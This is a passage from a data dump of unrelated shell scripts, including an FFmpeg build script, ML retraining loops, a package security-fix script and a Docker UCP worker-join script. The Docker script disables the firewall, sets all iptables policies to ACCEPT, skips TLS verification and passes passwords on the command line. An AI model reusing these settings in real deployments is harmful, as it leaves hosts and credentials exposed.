\\\nt3m1_NP3R0 \\\ncopy_of_t3m1_NP3R0 \\\nt3m1_NP3R1 \\\ncopy_of_t3m1_NP3R1 \\\nt3m1_NP3R2 \\\ncopy_of_t3m1_NP3R2 \\\nt3m1_NP4R0 \\\ncopy_of_t3m1_NP4R0 \\\nt3m1_NP4R1 \\\ncopy_of_t3m1_NP4R1 \\\nt3m1_NP4R2 \\\ncopy_of_t3m1_NP4R2 \\\nt3m1_NP4R3 \\\ncopy_of_t3m1_NP4R3\n\nif test \"$1\" = \"no_fpdiff\"; then\n echo \"dummy [OK] -- Can't run fpdiff.py because we don't have python or validata\" >> validation.log\nelse\n../../../../bin/fpdiff.py ../validata/crdoublematrix_copy_constructor.dat.gz \\\n crdoublematrix_copy_constructor.dat >> validation.log\nfi\n\n#----------------------------------------------------------------------\n\n# Append log to main validation log\ncat validation.log >> ../../../../validation.log\n\ncd ..\n\n\n\n#######################################################################\n\n\n#Check that we get the correct number of OKs\n# validate_ok_count will exit with status\n# 0 if all tests has passed.\n# 1 if some tests failed.\n# 2 if there are more 'OK' than expected.\n. $OOMPH_ROOT_DIR/bin/validate_ok_count\n\n# Never get here\nexit 10"} {"text": "#!/bin/sh\n\nset -e\nset -u\n\njflag=\njval=2\nrebuild=0\ndownload_only=0\nno_build_deps=0\nwith_symbols=0\nfinal_target_dir=\ncross_platform=\nplatform=linux\nuname -mpi | grep -qE 'x86|i386|i686' && is_x86=1 || is_x86=0\n\nrm_symver() {\n # hack to remove extra symver shared libs.\n # We don't need versioning since we're linking to local files anyways.\n case $cross_platform in\n 'windows')\n echo \"Windows doesn't support SLIBNAME\"\n ;;\n *)\n echo \"Removing SLIBNAME\"\n slibname_with_major=\"$(grep SLIBNAME_WITH_MAJOR= $1 | sed 's/SLIBNAME_WITH_MAJOR=//')\"\n sed -i \"s/SLIBNAME_WITH_VERSION=.*/SLIBNAME_WITH_VERSION=$slibname_with_major/\" $1\n ;;\n esac\n sed -i 's/SLIB_INSTALL_NAME=.*/SLIB_INSTALL_NAME=$(SLIBNAME_WITH_MAJOR)/' $1\n sed -i 's/SLIB_INSTALL_LINKS=.*/SLIB_INSTALL_LINKS=$(SLIBNAME)/' $1\n}\n\nwhile getopts 'j:T:p:BdDs' OPTION\ndo\n case $OPTION in\n j)\n jflag=1\n jval=\"$OPTARG\"\n ;;\n B)\n rebuild=1\n ;;\n d)\n download_only=1\n ;;\n D)\n no_build_deps=1\n ;;\n s)\n with_symbols=1\n ;;\n T)\n final_target_dir=\"$OPTARG\"\n ;;\n p)\n cross_platform=\"$OPTARG\"\n ;;\n ?)\n printf \"Usage: %s: [-j concurrency_level] [-B] [-d] [-D] [-s] [-T /path/to/final/target] [-p platform]\\n\" $(basename $0) >&2\n echo \" -j: concurrency level (number of cores on your pc +- 20%)\"\n echo \" -D: skip building dependencies\" >&2\n echo \" -d: download only\" >&2\n echo \" -s: Build with debug and symbols\" >&2\n echo \" -B: force reconfigure and rebuild\" >&2 # not sure this makes a difference\n echo \" -T: set final target for installing ffmpeg libs\" >&2\n echo \" -p: set cross compile platform (windows|darwin)\" >&2\n exit 2\n ;;\n esac\ndone\nshift $(($OPTIND - 1))\n\nif [ \"$jflag\" ]\nthen\n if [ \"$jval\" ]\n then\n printf \"Option -j specified (%d)\\n\" $jval\n fi\nfi\n\n[ \"$rebuild\" -eq 1 ] && echo \"Reconfiguring existing packages...\"\n[ $is_x86 -ne 1 ] && echo \"Not using yasm or nasm on non-x86 platform...\"\n\ndebug_flags='--disable-debug'\nif [ $with_symbols -eq 1 ]; then\n debug_flags='--enable-debug --disable-stripping'\nfi\n\ncd `dirname $0`\nENV_ROOT=`pwd`\n. ./env.source\nFINAL_TARGET_DIR=${final_target_dir:-$TARGET_DIR}\n\n# check operating system\nOS=`uname`\nplatform=\"unknown\"\n\ncase $OS in\n 'Darwin')\n platform='darwin'\n ;;\n 'Linux')\n platform='linux'\n ;;\nesac\n\n# defaults are for linux\n# vaapi and vdpau don't show a significant increase in performance\n# and cause portability issues\ncross_platform_flags=\"--disable-vaapi --disable-vdpau\"\n# enable-opencl does not show a signfificant peformance benefit\n# and causes portability issues\n#\"--enable-opencl\"\ncc_triplet=\ncc_extra_libs=\ncc_lib_prefix=\ncc_dep_lib_extra=\ncc_cross_env=\nif [ ! -z \"$cross_platform\" ]; then\n case $cross_platform in\n 'windows')\n platform=windows\n cc_triplet=x86_64-w64-mingw32\n cc_platform=x86_64-win64-gcc\n # for --enable-opencl we need to get defs from dlltool?\n # https://stackoverflow.com/questions/15185955/compile-opencl-on-mingw-nvidia-sdk\n accel_opts=\"--enable-d3d11va --enable-dxva2\"\n cross_platform_flags=\"$accel_opts --arch=x86_64 --target-os=mingw32 --cross-prefix=x86_64-w64-mingw32-\"\n cc_lib_prefix=\"-static\"\n cc_extra_libs=\"-lole32\"\n ;;\n 'darwin')\n platform=darwin\n d_sdk=darwin15\n cc_triplet=x86_64-apple-$d_sdk\n # 19 is catalina\n cc_cross_env=$cc_triplet-\n cc_platform=x86_64-$d_sdk-gcc #x86_64-apple-$d_sdk-clang\n cc_dep_lib_extra=\"LDFLAGS=-lm\"\n accel_opts=\"--enable-opencl\"\n cross_platform_flags=\"$accel_opts --arch=x86_64 --target-os=$platform --cross-prefix=$cc_triplet- --install-name-dir=@loader_path\"\n if [ -z \"$OSXCROSS_BIN_DIR\" ] || [ ! -d \"$OSXCROSS_BIN_DIR\" ]; then\n echo \"Unable to find osxcross bin directory [$OSXCROSS_BIN_DIR]: $(ls -l OSXCROSS_BIN_DIR)\"\n exit 1\n fi\n PATH=$OSXCROSS_BIN_DIR:$PATH\n export OSXCROSS_PKG_CONFIG_USE_NATIVE_VARIABLES=1\n ;;\n esac\nfi\n\nlast_platform=\"$(cat $ENV_ROOT/.config-platform || true)\"\nif [ \"$platform\" != \"$last_platform\" ] && [ \"$rebuild\" -ne 1 ]; then\n rebuild=1\n echo \"platform changed from $last_platform to $platform. Forcing a rebuild\"\nfi\necho \"$platform\" > $ENV_ROOT/.config-platform\n\n#if you want a rebuild\n#rm -rf \"$BUILD_DIR\" \"$TARGET_DIR\"\nmkdir -p \"$BUILD_DIR\" \"$TARGET_DIR\" \"$DOWNLOAD_DIR\" \"$BIN_DIR\"\n\n#download and extract package\ndownload(){\n filename=\"$1\"\n if [ ! -z \"$2\" ];then\n filename=\"$2\"\n fi\n ../download.pl \"$DOWNLOAD_DIR\" \"$1\" \"$filename\" \"$3\" \"$4\"\n #disable uncompress\n REPLACE=\"$rebuild\" CACHE_DIR=\"$DOWNLOAD_DIR\" ../fetchurl \"http://cache/$filename\"\n}\n\necho \"#### FFmpeg static build ####\"\n\n#this is our working directory\ncd $BUILD_DIR\n\n[ $is_x86 -eq 1 ] && download \\\n \"yasm-1.3.0.tar.gz\" \\\n \"\" \\\n \"fc9e586751ff789b34b1f21d572d96af\" \\\n \"http://www.tortall.net/projects/yasm/releases/\"\n\n[ $is_x86 -eq 1 ] && download \\\n \"nasm-2.13.01.tar.gz\" \\\n \"\" \\\n \"16050aa29bc0358989ef751d12b04ed2\" \\\n \"http://www.nasm.us/pub/nasm/releasebuilds/2.13.01/\"\n\n#hack to fix https://bugzilla.nasm.us/show_bug.cgi?id=3392461\nsed 's/void pure_func/void/g' -i ./nasm-2.13.01/include/nasm.h\nsed 's/void pure_func/void/g' -i ./nasm-2.13.01/include/nasmlib.h\nsed 's/void pure_func/void/g' -i ./yasm-1.3.0/modules/preprocs/nasm/nasmlib.h\n\ndownload \\\n \"v1.2.11.tar.gz\" \\\n \"zlib-1.2.11.tar.gz\" \\\n \"0095d2d2d1f3442ce1318336637b695f\" \\\n \"https://github.com/madler/zlib/archive/\"\n\ndownload \\\n \"opus-1.1.2.tar.gz\" \\\n \"\" \\\n \"1f08a661bc72930187893a07f3741a91\" \\\n \"https://github.com/xiph/opus/releases/download/v1.1.2\"\n\ndownload \\\n \"rtmpdump-2.3.tgz\" \\\n \"\" \\\n \"eb961f31cd55f0acf5aad1a7b900ef59\" \\\n \"https://rtmpdump.mplayerhq.hu/download/\"\n\ndownload \\\n \"release-0.98b.tar.gz\" \\\n \"vid.stab-release-0.98b.tar.gz\" \\\n \"299b2f4ccd1b94c274f6d94ed4f1c5b8\" \\\n \"https://github.com/georgmartius/vid.stab/archive/\"\n\ndownload \\\n \"release-2.7.4.tar.gz\" \\\n \"zimg-release-2.7.4.tar.gz\" \\\n \"1757dcc11590ef3b5a56c701fd286345\" \\\n \"https://github.com/sekrit-twc/zimg/archive/\"\n\ndownload \\\n \"v2.1.2.tar.gz\" \\\n \"openjpeg-2.1.2.tar.gz\" \\\n \"40a7bfdcc66280b3c1402a0eb1a27624\" \\\n \"https://github.com/uclouvain/openjpeg/archive/\"\n\ndownload \\\n \"v1.3.3.tar.gz\" \\\n \"ogg-1.3.3.tar.gz\" \\\n \"b8da1fe5ed84964834d40855ba7b93c2\" \\\n \"https://github.com/xiph/ogg/archive/\"\n\ndownload \\\n \"v1.3.6.tar.gz\" \\\n \"vorbis-1.3.6.tar.gz\" \\\n \"03e967efb961f65a313459c5d0f4cbfb\" \\\n \"https://github.com/xiph/vorbis/archive/\"\n\ndownload \\\n \"n4.0.tar.gz\" \\\n \"ffmpeg4.0.tar.gz\" \\\n \"4749a5e56f31e7ccebd3f9924972220f\" \\\n \"https://github.com/FFmpeg/FFmpeg/archive\"\n\n[ $download_only -eq 1 ] && exit 0\n\ncc_flags=\nif [ ! -z \"$cc_triplet\" ]; then\n cc_flags=\"--host=$cc_triplet\"\nfi\n\nTARGET_DIR_SED=$(echo $TARGET_DIR | awk '{gsub(/\\//, \"\\\\/\"); print}')\nif [ $no_build_deps -eq 1 ]; then\n echo \"Skipping dependencies\"\nelse\nif [ $is_x86 -eq 1 ]; then\n echo \"*** Building yasm ***\"\n cd $BUILD_DIR/yasm*\n [ $rebuild -eq 1 -a -f Makefile ] && make distclean || true\n [ ! -f config.status ] && ./configure --prefix=$TARGET_DIR --bindir=$BIN_DIR $cc_flags\n make -j $jval\n make install\nfi\n\nif [ $is_x86 -eq 1 ]; then\n echo \"*** Building nasm ***\"\n cd $BUILD_DIR/nasm*\n [ $rebuild -eq 1 -a -f Makefile ] && make distclean || true\n [ ! -f config.status ] && ./configure --prefix=$TARGET_DIR --bindir=$BIN_DIR $cc_flags\n make -j $jval\n make install\nfi\n\necho \"*** Building opus ***\"\ncd $BUILD_DIR/opus*\n[ $rebuild -eq 1 -a -f Makefile ] && make distclean || true\n[ ! -f config.status ] && ./configure --prefix=$TARGET_DIR --disable-shared --with-pic \\\n --enable-intrinsics --disable-extra-programs \\\n $cc_flags $cc_dep_lib_extra\nmake\nmake install\n\necho \"*** Building libogg ***\"\ncd $BUILD_DIR/ogg*\n[ $rebuild -eq 1 -a -f Makefile ] && make distclean || true\n./autogen.sh\n./configure --prefix=$TARGET_DIR --disable-shared --with-pic $cc_flags\nmake -j $jval\nmake install\n\necho \"*** Building libvorbis ***\"\ncd $BUILD_DIR/vorbis*\n[ $rebuild -eq 1 -a -f Makefile ] && make distclean || true\n./autogen.sh\n./configure --prefix=$TARGET_DIR --disable-shared --with-pic $cc_flags \\\n --disable-oggtest --disable-examples --disable-docs $cc_dep_lib_extra\nmake -j $jval\nmake install\n\nfi\n\n# FFMpeg\necho \"*** Building FFmpeg ***\"\ncd $BUILD_DIR/FFmpeg*\n[ $rebuild -eq 1 -a -f Makefile ] && make distclean || true\n\n[ ! -f config.status ] && PATH=\"$BIN_DIR:$PATH\" \\\nset -x\nEXTRA_LIBS=\"$cc_lib_prefix -lpthread -lm $cc_extra_libs\" # -lz\nPKG_CONFIG_PATH=\"$TARGET_DIR/lib/pkgconfig\" ./configure \\\n --prefix=\"$FINAL_TARGET_DIR\" \\\n --pkg-config-flags=\"--static\" \\\n --extra-cflags=\"-I$TARGET_DIR/include\" \\\n --extra-ldflags=\"-L$TARGET_DIR/lib\" \\\n --extra-libs=\"$EXTRA_LIBS\" \\\n --bindir=\"$BIN_DIR\" \\\n \\\n --disable-everything \\\n $debug_flags \\\n --disable-gpl --disable-nonfree --disable-programs \\\n --enable-shared --disable-static \\\n --enable-decoder=libopus --enable-decoder=opus \\\n --enable-decoder=vp9 \\\n --enable-decoder=libvorbis --enable-decoder=vorbis \\\n --enable-parser=vp9 --enable-parser=opus \\\n --enable-parser=vorbis \\\n --enable-demuxer=matroska \\\n --enable-demuxer=opus \\\n --enable-demuxer=vorbis \\\n --enable-libopus \\\n --enable-libvorbis \\\n --enable-opengl \\\n $cross_platform_flags\n# --enable-libmfx \\\n\nPATH=\"$BIN_DIR:$PATH\" make -j $jval\nrm_symver $PWD/ffbuild/config.mak\nmake install\nmake distclean\nhash -r\necho \"Installed to $FINAL_TARGET_DIR\""} {"text": "nikhilgoel1997/new-semantic-parsing\n# Copyright 2020 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# =============================================================================\n\nset -e\ncd ..\n\nDATA=data-bin/top_name_event_95\nMODEL=output_dir/name_event_95_bert_run\nCLASSES=SL:NAME_EVENT\nBATCH_SIZE=128\n\nTAG=path_move_norm\n\n\nfor old_data_amount in 0.1 0.05 0.2\ndo\n\nfor reg in 0.1 0.0 1.0 0.01\ndo\n\n rm -rf output_dir/finetuned\n\n python cli/retrain.py \\\n --data-dir $DATA \\\n --model-dir $MODEL \\\n --batch-size $BATCH_SIZE \\\n --dropout 0 \\\n --move-norm $reg \\\n --label-smoothing 0.2 \\\n --epochs 40 \\\n --log-every 100 \\\n --new-data-amount 1.0 \\\n --old-data-amount $old_data_amount \\\n --new-classes-file $CLASSES \\\n --tags $TAG \\\n --output-dir output_dir/finetuned \\\n\n\n rm -rf output_dir/finetuned\n\n python cli/retrain.py \\\n --data-dir $DATA \\\n --model-dir $MODEL \\\n --batch-size $BATCH_SIZE \\\n --dropout 0 \\\n --move-norm $reg \\\n --label-smoothing 0.2 \\\n --epochs 40 \\\n --log-every 100 \\\n --new-data-amount 1.0 \\\n --old-data-amount $old_data_amount \\\n --new-classes-file $CLASSES \\\n --tags $TAG \\\n --output-dir output_dir/finetuned \\\n --move-norm-p 1 \\\n\n\ndone\ndone"} {"text": "Cyberwatch/cbw-security-fixes\n#!/bin/sh\n# CYBERWATCH SAS - 2017\n#\n# Security fix for USN-1924-1\n#\n# Security announcement date: 2013-08-06 00:00:00 UTC\n# Script generation date: 2017-02-06 21:03:11 UTC\n#\n# Operating System: Ubuntu 12.04 LTS\n# Architecture: i386\n#\n# Vulnerable packages fix on version:\n# - firefox:23.0+build2-0ubuntu0.12.04.1\n#\n# Last versions recommanded by security team:\n# - firefox:51.0.1+build2-0ubuntu0.12.04.2\n#\n# CVE List:\n# - CVE-2013-1701\n# - CVE-2013-1702\n# - CVE-2013-1704\n# - CVE-2013-1705\n# - CVE-2013-1708\n# - CVE-2013-1709\n# - CVE-2013-1710\n# - CVE-2013-1711\n# - CVE-2013-1713\n# - CVE-2013-1714\n# - CVE-2013-1717\n#\n# More details:\n# - https://www.cyberwatch.fr/vulnerabilites\n#\n# Licence: Released under The MIT License (MIT), See LICENSE FILE\nsudo apt-get install --only-upgrade firefox=51.0.1+build2-0ubuntu0.12.04.2 -y"} {"text": "kenreilly/bash-ux\n#!/usr/bin/env bash\n# Copyright 2019 - LevelUP\n# @website lvl-up.tech\n# @author <>\n\n# import library code\n\nDEBUG=1\n\nsource ./lib/bash-ux.sh\nstart"} {"text": "raiffeisenbankinternational/edd-web-primitives0\n#!/bin/bash\n\nclojure -Sdeps '{:deps {cljfmt {:mvn/version \"0.6.7\"}}}' -m cljfmt.main fix src/main/ src/test"} {"text": "#!/bin/sh\n\ncd `dirname $0`\n\nGODOT_BIN=/home/todd/Downloads/Godot3.0-RC2/Godot_v3.0-rc2_x11.64\n\n$GODOT_BIN -e .hidden/TheQuitter.tscn"} {"text": "#!/bin/bash\n\n\n# if [[ \"$HELLO\" == \"hello\" && ! -z '$(git diff --cached)' ]]; then\n# echo \"Hello foo.\"\n# else\n# echo \"You are not foo.\"\n# fi\n\n# var=${git diff --cached}\n# touch a.txt\n# git add .\n# if [[ '${{github.event.inputs.preid}}' == \"stable\" && ! -z \"$(git diff --cached)\" ]]; then\n# echo \"heheh\"\n# fi\n\necho $(git diff -- ./templates)\nif [ -z \"$(git diff -- ./templates)\" ]; then \n node ./packages/test1/scripts/sync-up-version.js\nfi"} {"text": "1-10\n#!/bin/bash\n\n# We need four params: (1) PASSWORD (2) MASTERFQDN (3) REPLICA_ID (4) MASTERPRIVATEIP (5) DTRNODE (6) SLEEP\n\necho $(date) \" - Starting Script\"\n\nUSER=admin\nPASSWORD=$1\nMASTERFQDN=$2\nUCP_URL=https://$4\nUCP_NODE=$(hostname)\nREPLICA_ID=$3\nMASTERPRIVATEIP=$4\nDTRNODE=$5\nSLEEP= $6\n\nif [ ! -z \"$6\" ]; then\nomsworkspaceid=$6\nomsworkspacekey=$7\nomslnxagentver=$8\necho \"omsworkspaceid is\" $omsworkspaceid\nelse\necho \"All are respectively \" $1 $2 $3 $4 $5\nfi\nDOCKERDET=$9\nDOCKERVER=$( echo \"$9\" |cut -d\\: -f1 )\nDOCKERCOMPVER=$( echo \"$9\" |cut -d\\: -f2 )\nDOCKERMCVER=$( echo \"$9\" |cut -d\\: -f3 )\nTRUSTYREPO=$( echo \"$9\" |cut -d\\: -f4 )\nDOCKERDCVER=$( echo \"$9\" |cut -d\\: -f5 )\nUCPIMAGETAG=$( echo \"$DOCKERDCVER\" |cut -d\\_ -f1|sed 's/ucp\\-/ucp\\:/g')\nDTRIMAGETAG=$( echo \"$DOCKERDCVER\" |cut -d\\_ -f2|sed 's/dtr\\-/dtr\\:/g')\ndisable_ufw_iptables()\n{\nufw disable\n\niptables-save > $HOME/firewall.txt\n\niptables -X\n\niptables -t nat -F\n\niptables -t nat -X\n\niptables -t mangle -F\n\niptables -t mangle -X\n\niptables -P INPUT ACCEPT\n\niptables -P FORWARD ACCEPT\n\niptables -P OUTPUT ACCEPT\n\nip6tables-save > $HOME/firewall-6.txt\n\nip6tables -X\n\nip6tables -t mangle -F\n\nip6tables -t mangle -X\n\nip6tables -P INPUT ACCEPT\n\nip6tables -P FORWARD ACCEPT\n\nip6tables -P OUTPUT ACCEPT\n}\n\ndisable_ufw_iptables;\n\ninstallomsagent()\n{\n#wget https://github.com/Microsoft/OMS-Agent-for-Linux/releases/download/OMSAgent_Ignite2016_v$omslnxagentver/omsagent-${omslnxagentver}.universal.x64.sh\nwget https://github.com/Microsoft/OMS-Agent-for-Linux/releases/download/OMSAgent-201610-v$omslnxagentver/omsagent-${omslnxagentver}.universal.x64.sh\nchmod +x ./omsagent-${omslnxagentver}.universal.x64.sh\nmd5sum ./omsagent-${omslnxagentver}.universal.x64.sh\nsudo sh ./omsagent-${omslnxagentver}.universal.x64.sh --upgrade -w $omsworkspaceid -s $omsworkspacekey\n}\n\ninstrumentfluentd_docker()\n{\ncd /etc/systemd/system/multi-user.target.wants/ && sed -i.bak -e '12d' docker.service\ncd /etc/systemd/system/multi-user.target.wants/ && sed -i '12iEnvironment=\"DOCKER_OPTS=--log-driver=fluentd --log-opt fluentd-address=localhost:25225\"' docker.service\ncd /etc/systemd/system/multi-user.target.wants/ && sed -i '13iExecStart=/usr/bin/dockerd -H fd:// $DOCKER_OPTS' docker.service\nservice docker restart\n}\ninstall_docker_tools()\n{\n\n# System Update and docker version update\nDEBIAN_FRONTEND=noninteractive apt-mark hold walinuxagent\nDEBIAN_FRONTEND=noninteractive apt-get -y update\napt-get install -y apt-transport-https ca-certificates\n#apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D\n#echo 'deb https://apt.dockerproject.org/repo ubuntu-trusty main' >> /etc/apt/sources.list.d/docker.list\n#echo 'deb https://packages.docker.com/1.12/apt/repo ubuntu-trusty testing' >> /etc/apt/sources.list.d/docker.list\necho \"deb https://packages.docker.com/${DOCKERVER}/apt/repo ubuntu-trusty ${TRUSTYREPO}\" >> /etc/apt/sources.list.d/docker.list\napt-cache policy docker-engine\nDEBIAN_FRONTEND=noninteractive apt-get -y update\nDEBIAN_FRONTEND=noninteractive apt-get -y upgrade\n#curl -L https://github.com/docker/compose/releases/download/1.9.0-rc4/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-compose\n#curl -L https://github.com/docker/machine/releases/download/v0.8.2/docker-machine-`uname -s`-`uname -m` >/usr/local/bin/docker-machine\ncurl -L https://github.com/docker/compose/releases/download/$DOCKERCOMPVER/docker-compose-`uname -s`-`uname -m` > /usr/local/bin/docker-compose\ncurl -L https://github.com/docker/machine/releases/download/v$DOCKERMCVER/docker-machine-`uname -s`-`uname -m` >/usr/local/bin/docker-machine\nchmod +x /usr/local/bin/docker-machine\nchmod +x /usr/local/bin/docker-compose\nexport PATH=$PATH:/usr/local/bin/\ngroupadd docker\nusermod -aG docker ucpadmin\nservice docker restart\n}\ninstall_docker_tools;\nif [ ! -z \"$6\" ]; then\nsleep 45;\ninstrumentfluentd_docker;\nsleep 30;\ninstallomsagent;\nfi\n\n# Implement delay timer to stagger joining of Agent Nodes to cluster\necho $(date) \" - Loading docker install Tar\"\n#cd /opt/ucp && wget https://s3.amazonaws.com/packages.docker.com/caas/ucp-2.0.0-beta3_dtr-2.1.0-beta3.tar.gz\n#cd /opt/ucp && wget https://packages.docker.com/caas/ucp-2.0.0-beta4_dtr-2.1.0-beta4.tar.gz\ncd /opt/ucp && wget https://packages.docker.com/caas/$DOCKERDCVER.tar.gz\n#docker load < ucp-2.0.0-beta4_dtr-2.1.0-beta4.tar.gz\ndocker load < $DOCKERDCVER.tar.gz\n\n# Start installation of UCP with master Controller\n\necho $(date) \" - Loading complete. Starting UCP Install\"\n\ninstallbundle ()\n{\n\necho $(date) \"Sleeping for $SLEEP\"\nsleep $SLEEP\necho $(date) \" - Staring Swarm Join as worker UCP Controller\"\napt-get -y update && apt-get install -y curl jq\n# Create an environment variable with the user security token\nAUTHTOKEN=$(curl -sk -d '{\"username\":\"admin\",\"password\":\"'\"\"'\"}' https://$MASTERPRIVATEIP/auth/login | jq -r .auth_token)\necho \"$AUTHTOKEN\"\n# Download the client certificate bundle\ncurl -k -H \"Authorization: Bearer ${AUTHTOKEN}\" https://$MASTERPRIVATEIP/api/clientbundle -o bundle.zip\nunzip -o bundle.zip && chmod +x env.sh && source env.sh\n}\njoinucp() {\ninstallbundle;\n#docker swarm join-token worker|sed '1d'|sed '1d'|sed '$ d'>swarmjoin.sh\ndocker swarm join-token worker|sed '1d'|sed '1d'|sed '$ d'> /usr/local/bin/docker-workerswarmjoin\nunset DOCKER_TLS_VERIFY\nunset DOCKER_CERT_PATH\nunset DOCKER_HOST\n#chmod 755 swarmjoin.sh\nchmod +x /usr/local/bin/docker-workerswarmjoin\nexport PATH=$PATH:/usr/local/bin/\ndocker-workerswarmjoin\n#source swarmjoin.sh\n}\ninstalldtr() {\ninstallbundle;\n## Insecure TLS as self signed will fail -- Failed to get bootstrap client: Failed to get UCP CA: Get https://blablah/ca: x509: certificate signed by unknown authority\ndocker run --rm -i \\\n docker/${DTRIMAGETAG} install \\\n --ucp-node $UCP_NODE \\\n --ucp-insecure-tls \\\n --dtr-external-url $DTR_PUBLIC_URL \\\n --ucp-url https://$MASTERFQDN \\\n --ucp-username admin --ucp-password $PASSWORD\n }\nsleep 45;\njoinucp;\n#echo $(date) \"Sleeping for 200\"\n#sleep 200;\n# Install DTR\n#installdtr;\n\nif [ $? -eq 0 ]\nthen\n echo $(date) \" - UCP installed and started on the agent node to be used for DTR replica\"\nelse\n echo $(date) \" -- UCP installation failed on DTR node\"\nfi"} {"text": "count_pairs_on_a_day.sh0\n#!/bin/bash\nsource_lang=$1\ntarget_lang=$2\n\nif [ -z $source_lang ] || [ -z $target_lang ]; then\n\techo \"You must specify source and target languages.\"\n\texit\nfi\n\ndate=$3\nif [ -z $date ]; then\n\tdate=`date --date=yesterday +%Y%m%d`\nfi\n\necho \"Translations from $source_lang to $target_lang on $date\"\n\nquery_beginning=\"select count(*) from cx_translations where\"\nquery_published_cond=\"(translation_status = 'published' or translation_target_url is not null)\"\nquery_end=\"translation_source_language = '$source_lang' and translation_target_language = '$target_lang' and translation_start_timestamp like '$date%';\"\n\npublished_query=\"$query_beginning $query_published_cond and $query_end\"\nall_query=\"$query_beginning $query_end\"\n\n# MySQL user credentials\nMU=wikiadmin\nMP=`echo 'echo \\$wgDBadminpassword;' | /usr/local/bin/mwscript eval.php --wiki=\"enwiki\"`\n\n# Execute mysql\necho \"Published:\"\nmysql -u $MU -p$MP -h db1029 -D wikishared -e \"$published_query\"\n\necho \"All:\"\nmysql -u $MU -p$MP -h db1029 -D wikishared -e \"$all_query\""} {"text": "simonsso/teketeketest_scripts/excercice006.sh\n#!/bin/bash\n\nfunction send_request() {\n echo -ne \"- - - - - - - - - \\nRequest: $1\\nResponse: \"\n curl --header \"Content-Type: application/json\" --request POST \\\n --data \"$1\" \\\n http://localhost:8888/table/9\n echo \"\"\n}\n\nsend_request '{\"tab\":[{ \"itemname\": \"Tea\",\"qty\" : 4 ,\"eta\":1563963105},{ \"itemname\": \"Edamame\",\"qty\" : 10,\"eta\":1563963105 }]}'"} {"text": "#!/bin/bash\n\n###########################################################################################\n# Novactive eZ Bundle setup script for continuous integration\n#\n# @package Novactive\\Bundle\\eZSEOBundle\n# @author Novactive <>\n# @copyright 2015 Novactive\n# @license https://github.com/Novactive/NovaeZSEOBundle/blob/master/LICENSE MIT Licence\n###########################################################################################\n\n#################################################################\n# This script helps you setup your CI environment to run tests\n#################################################################\n\necho \"> Install bundle dependencies\"\ncomposer require novactive/phpcs-novastandards:~1.3 phpmd/phpmd:~2.1 sebastian/phpcpd:~2.0 phpunit/phpunit:~4.4\nsudo sed -i 's|^);$||' ${TRAVIS_BUILD_DIR}/vendor/composer/autoload_psr4.php\nsudo echo -n \" \" >> ${TRAVIS_BUILD_DIR}/vendor/composer/autoload_psr4.php\nsudo echo -n \"'\" >> ${TRAVIS_BUILD_DIR}/vendor/composer/autoload_psr4.php\nsudo echo -n 'Novactive\\\\Bundle\\\\eZSEOBundle\\\\' >> ${TRAVIS_BUILD_DIR}/vendor/composer/autoload_psr4.php\nsudo echo -n \"'\" >> ${TRAVIS_BUILD_DIR}/vendor/composer/autoload_psr4.php\nsudo echo -n ' => array($vendorDir . ' >> ${TRAVIS_BUILD_DIR}/vendor/composer/autoload_psr4.php\nsudo echo \"'/novactive/ezseobundle'),\" >> ${TRAVIS_BUILD_DIR}/vendor/composer/autoload_psr4.php\nsudo echo \");\" >> ${TRAVIS_BUILD_DIR}/vendor/composer/autoload_psr4.php\n\necho \"> Enable bundle\"\nsed -i.bak 's#new EzPublishLegacyBundle(),#new EzPublishLegacyBundle(),\\n new Novactive\\Bundle\\eZSEOBundle\\NovaeZSEOBundle(),#g' ${TRAVIS_BUILD_DIR}/ezpublish/EzPublishKernel.php\n\necho \"> Add bundle route\"\necho '\n_novaseoRoutes:\n resource: \"@NovaeZSEOBundle/Controller/\"\n type: annotation\n prefix: /\n' >> ${TRAVIS_BUILD_DIR}/ezpublish/config/routing.yml\n\necho \"routing\"\ncat ${TRAVIS_BUILD_DIR}/ezpublish/config/routing.yml\necho \"routing dev\"\ncat ${TRAVIS_BUILD_DIR}/ezpublish/config/routing_dev.yml\n\necho \"> Install bundle legacy extension\"\nphp ezpublish/console ezpublish:legacybundles:install_extensions\ncd ${TRAVIS_BUILD_DIR}/ezpublish_legacy\nphp bin/php/ezpgenerateautoloads.php -e\ncd ${TRAVIS_BUILD_DIR}\nphp ezpublish/console clear:cache\n\necho \"> Create bundle table\"\nmysql -u root behattestdb < ${TRAVIS_BUILD_DIR}/${NOVABUNDLE_PATH}/Resources/sql/shema.sql\n\necho \"> Update apache config\"\nsudo sed -i 's|RewriteRule \\^\\/robots|#RewriteRule \\^\\/robots|' /etc/apache2/sites-enabled/behat\nsudo service apache2 restart"} {"text": "#!/bin/sh\n\n# The download links are from 's original GitHub repo.\n# Check the below link if the dropbox links are not working.\n# https://github.com/peteanderson80/Matterport3DSimulator/blob/master/tasks/R2R/data/download.sh\n\nwget https://www.dropbox.com/s/hh5qec8o5urcztn/R2R_train.json -P tasks/R2R-pano/data/\nwget https://www.dropbox.com/s/8ye4gqce7v8yzdm/R2R_val_seen.json -P tasks/R2R-pano/data/\nwget https://www.dropbox.com/s/p6hlckr70a07wka/R2R_val_unseen.json -P tasks/R2R-pano/data/\nwget https://www.dropbox.com/s/w4pnbwqamwzdwd1/R2R_test.json -P tasks/R2R-pano/data/"} {"text": "Mehonoshin/smartvpn-node1-10\n#!/bin/bash\n\ndocker build -t mexx/smartvpn-node ."} {"text": "install.sh0\n#! /bin/sh\n\n# exit if a command fails\nset -e\n\napk update\n\n# install base\napk add openssl \\\n gzip \\\n bash \\\n sed\n\n# install s3 tools\napk add python3\npython3 -m pip install awscli\napk del\n\n# cleanup\nrm -rf /var/cache/apk/*"} {"text": "#!/bin/bash\n# VERSION 1.0-beta\n# https://git.io/fj7Te\n\n# `man highlight` for options.\nHL_OUTPUT=\"-O truecolor\"\n# Sets the input format of highlight.\nHL_SYNTAX_PARAM=\n\n# Parse parameters\nfunction detect_params {\n arr=(\"$@\")\n\n for i in \"${!arr[@]}\"; do\n 